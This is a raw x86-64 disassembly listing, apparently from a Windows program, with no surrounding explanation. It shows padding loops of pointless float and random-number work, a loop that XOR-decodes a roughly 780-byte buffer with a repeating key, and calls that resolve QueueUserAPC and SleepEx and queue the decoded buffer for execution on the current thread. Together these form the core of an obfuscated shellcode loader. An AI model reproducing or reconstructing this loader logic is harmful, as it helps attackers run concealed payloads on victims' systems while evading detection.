mov eax, dword [rbp + 0x2c4]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0xc0]
add rdx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, ecx
mov eax, dword [rbp + 0x2c0]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x2c0], 1
cmp dword [rbp + 0x2c0], 0x12
jle 0x1400028bf
add dword [rbp + 0x2c4], 1
cmp dword [rbp + 0x2c4], 0x18
jle 0x1400028b0
mov dword [rbp + 0x2c4], 0
jmp 0x140002a8b
mov dword [rbp + 0x2c0], 0
jmp 0x140002a77
mov eax, dword [rbp + 0x2c4]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0xc8]
add rdx, rax
mov eax, dword [rbp + 0x2c0]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x2c4]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0xc0]
add rdx, rax
mov eax, dword [rbp + 0x2c0]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x2c4]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0xb8]
add rdx, rax
divss xmm0, xmm1
mov eax, dword [rbp + 0x2c0]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x2c0], 1
cmp dword [rbp + 0x2c0], 0x12
jle 0x1400029c7
add dword [rbp + 0x2c4], 1
cmp dword [rbp + 0x2c4], 0x18
jle 0x1400029b8
mov rax, qword [rbp + 0xc8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0xc0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0xb8]
mov rcx, rax
call sub.msvcrt.dll_free
add dword [rbp + 0x2dc], 1
mov eax, dword [rbp + 0x2dc]
cmp eax, 0x23
jbe 0x140002820
mov dword [rbp + 0x2dc], 0
jmp 0x140002b81
mov eax, dword [rbp + 0x2dc]
movsxd rdx, eax
mov rax, qword [rbp + 0x130]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2cc]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x2dc]
movsxd rdx, eax
mov rax, qword [rbp + 0x130]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov qword [rbp + 0x2b0], 0
mov dword [rbp + 0x2bc], 0x230
jmp 0x140002b55
mov eax, dword [rbp + 0x2bc]
cdqe
add qword [rbp + 0x2b0], rax
sub dword [rbp + 0x2bc], 1
cmp dword [rbp + 0x2bc], 0
jg 0x140002b3f
cmp dword [rbp + 0x2cc], 0x23
jne 0x140002b73
mov dword [rbp + 0x2cc], 0
jmp 0x140002b7a
add dword [rbp + 0x2cc], 1
add dword [rbp + 0x2dc], 1
cmp dword [rbp + 0x2dc], 0x30b
jle 0x140002aea
mov ecx, 0x98c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0xf8], rax
mov dword [rbp + 0x2a8], 0
mov dword [rbp + 0x2a4], 0
mov dword [rbp + 0x2ac], 0
jmp 0x140002c0f
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x2ac]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0xf8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x14f8b589
shr rdx, 0x20
sar edx, 0xd
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x186a0
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x2ac], 1
cmp dword [rbp + 0x2ac], 0x262
jle 0x140002bc2
mov dword [rbp + 0x2ac], 0
mov dword [rbp + 0x2ac], 0
jmp 0x140002c8e
mov eax, dword [rbp + 0x2ac]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0xf8]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x140002c5d
add dword [rbp + 0x2a8], 1
jmp 0x140002c87
mov eax, dword [rbp + 0x2ac]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0xf8]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x140002c87
add dword [rbp + 0x2a4], 1
add dword [rbp + 0x2ac], 1
cmp dword [rbp + 0x2ac], 0x262
jle 0x140002c31
mov rax, qword [rbp + 0xf8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x130]
mov qword [rbp + 0xf0], rax
mov rax, qword [rbp + 0x290]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0x290]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xe0], rax
mov ecx, 0xcd4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0xd8], rax
mov dword [rbp + 0x2a0], 0
jmp 0x140002da0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0x2a0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0xd8]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0x2a0], 1
cmp dword [rbp + 0x2a0], 0x334
jle 0x140002d19
mov dword [rbp + 0x2a0], 0
jmp 0x140002ea4
cmp dword [rbp + 0x2a0], 0
je 0x140002e09
mov eax, dword [rbp + 0x2a0]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0xd8]
add rax, rdx
movss xmm1, dword [rax]
mov eax, dword [rbp + 0x2a0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0xd8]
add rax, rdx
movss xmm0, dword [rax]
comiss xmm0, xmm1
jb 0x140002e15
add dword [rbp + 0x2a0], 1
jmp 0x140002ea4
mov eax, dword [rbp + 0x2a0]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0xd8]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp + 0xd4], xmm0
mov eax, dword [rbp + 0x2a0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0xd8]
add rdx, rax
mov eax, dword [rbp + 0x2a0]
cdqe
shl rax, 2
lea rcx, [rax - 4]
mov rax, qword [rbp + 0xd8]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp + 0x2a0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0xd8]
add rax, rdx
movss xmm0, dword [rbp + 0xd4]
movss dword [rax], xmm0
sub dword [rbp + 0x2a0], 1
cmp dword [rbp + 0x2a0], 0x334
jle 0x140002dbf
mov rax, qword [rbp + 0xd8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0xf0]
mov r9, qword [rbp + 0xe8]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0xe0]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x320]
add rsp, 0x3b8
pop rbx
pop rbp
ret